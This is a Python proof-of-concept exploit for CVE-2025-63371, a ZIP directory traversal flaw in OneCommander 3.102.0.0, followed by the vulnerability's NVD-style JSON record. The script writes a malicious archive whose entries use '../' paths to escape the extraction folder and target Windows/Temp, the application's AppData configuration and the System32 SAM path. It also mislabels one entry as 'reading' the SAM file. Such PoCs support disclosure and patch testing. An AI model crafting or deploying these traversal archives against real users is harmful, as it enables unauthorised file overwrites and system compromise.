CVE-2025-63371

#!/usr/bin/env python3 """ CVE-2025-63371 PoC - OneCommander Directory Traversal in ZIP Extraction This PoC demonstrates how a malicious ZIP file can be crafted to exploit the directory traversal vulnerability in OneCommander 3.102.0.0 """ import zipfile import os def create_malicious_zip(output_path): """ Create a malicious ZIP file with directory traversal payloads. The file paths contain '../' sequences to escape the intended extraction directory. """ with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zipf: # Path traversal to write file outside intended directory # This could be used to write to startup folder, system32, etc. malicious_file_path = '../../../Windows/Temp/pwned.txt' zipf.writestr(malicious_file_path, 'Arbitrary file written via directory traversal!') # Another example: attempt to overwrite configuration config_traversal = '../../../AppData/Roaming/OneCommander/malicious_config.txt' zipf.writestr(config_traversal, 'Malicious configuration data') # Read arbitrary file via traversal read_traversal = '../../../Windows/System32/config/SAM' zipf.writestr(read_traversal, 'Attempt to read SAM file') print(f'[+] Malicious ZIP created: {output_path}') print(f'[+] Contains path traversal entries to demonstrate CVE-2025-63371') def verify_zip_contents(zip_path): """Verify the contents of the created ZIP file""" with zipfile.ZipFile(zip_path, 'r') as zipf: print('\n[+] ZIP file contents:') for info in zipf.infolist(): print(f' - {info.filename}') if __name__ == '__main__': output_file = 'CVE-2025-63371_poc.zip' create_malicious_zip(output_file) verify_zip_contents(output_file) print('\n[!] This PoC is for educational and security testing purposes only.') print('[!] Do not use for malicious activities.')

{"cve": {"id": "CVE-2025-63371", "sourceIdentifier": "[email protected]", "published": "2025-11-19T21:15:51.280", "lastModified": "2025-12-11T19:13:18.443", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Milos Paripovic OneCommander 3.102.0.0 is vulnerable to Directory Traversal. The vulnerability resides in the ZIP file processing component, specifically in the functionality responsible for extracting and handling ZIP archive contents."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:onecommander:onecommander:3.102.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "9055D81F-0579-43A7-897A-EEB83EED78DA"}]}]}], "references": [{"url": "https://jeroscope.com/advisories/2025/jero-2025-007/", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.onecommander.com/", "source": "[email protected]", "tags": ["Product"]}]}}